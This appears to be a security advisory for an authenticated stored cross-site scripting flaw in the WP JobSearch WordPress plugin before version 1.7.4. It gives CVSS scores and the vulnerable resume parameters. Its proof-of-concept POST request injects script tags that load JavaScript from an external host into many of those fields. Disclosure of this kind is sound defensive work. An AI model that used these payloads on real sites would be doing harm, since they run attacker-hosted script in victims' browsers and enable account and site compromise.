M0zeWPEX-ID:B378D36D-66D9-4373-A628-E379E4766375WP JobSearch < 1.7.4 - Authenticated Stored XSS
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
3.5 Low
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
The plugin did not sanitise or escape multiple of its parameters from the my-resume page before outputting them in the page, allowing low privilege users to use JavaScript payloads in them and leading to a Stored Cross-Site Scripting issue
Vulnerable parameter(s): &jobsearch_field_education_title[]=, &jobsearch_field_education_academy[]=, &jobsearch_field_experience_company[]=, &jobsearch_field_portfolio_title[]=, &jobsearch_field_portfolio_vurl[]=, &jobsearch_field_portfolio_url[]=, &jobsearch_field_skill_title[]=, &jobsearch_field_lang_title[]=.
PoC | Authenticated Persistent XSS | Candidate Profile:
POST /plugins/jobsearch/user-dashboard/?tab=my-resume HTTP/2
Cookie: [user cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1612
jobsearch_field_resume_cover_letter=PoC&candidate_cover_file=&get_cand_skills%5B%5D=1553&jobsearch_field_education_title%5B%5D=<script+src%3d//m0ze.ru/payload/a.js></script>&jobsearch_field_education_start_date%5B%5D=May+29%2C+2021&jobsearch_field_education_end_date%5B%5D=&jobsearch_field_education_date_prsnt%5B%5D=on&jobsearch_field_education_academy%5B%5D=<script+src%3d//m0ze.ru/payload/a.js></script>&jobsearch_field_education_description%5B%5D=PoC&jobsearch_field_experience_title%5B%5D=1553&jobsearch_field_experience_start_date%5B%5D=May+29%2C+2021&jobsearch_field_experience_end_date%5B%5D=June+29%2C+2021&jobsearch_field_experience_date_prsnt%5B%5D=on&jobsearch_field_experience_company%5B%5D=<script+src%3d//m0ze.ru/payload/a.js></script>&jobsearch_field_experience_description%5B%5D=PoC&add_portfolio_img=&jobsearch_field_portfolio_title%5B%5D="><script+src%3d//m0ze.ru/payload/a.js></script><div%20&add_portfolio_img=&jobsearch_field_portfolio_image%5B%5D=921218418&jobsearch_field_portfolio_vurl%5B%5D="><script+src%3d//m0ze.ru/payload/a.js></script><div%20&jobsearch_field_portfolio_url%5B%5D="><script+src%3d//m0ze.ru/payload/a.js></script><div%20&jobsearch_field_skill_title%5B%5D=<script+src%3d//m0ze.ru/payload/a.js></script>&jobsearch_field_skill_percentage%5B%5D=88&jobsearch_field_lang_title%5B%5D=<script+src%3d//m0ze.ru/payload/a.js></script>&jobsearch_field_lang_level%5B%5D=proficient&jobsearch_field_lang_percentage%5B%5D=88&jobsearch_field_award_title%5B%5D=1553&jobsearch_field_award_year%5B%5D=2021&jobsearch_field_award_description%5B%5D=PoC&user_resume_form=1&terms_cond_check=on
Related
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
3.5 Low
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N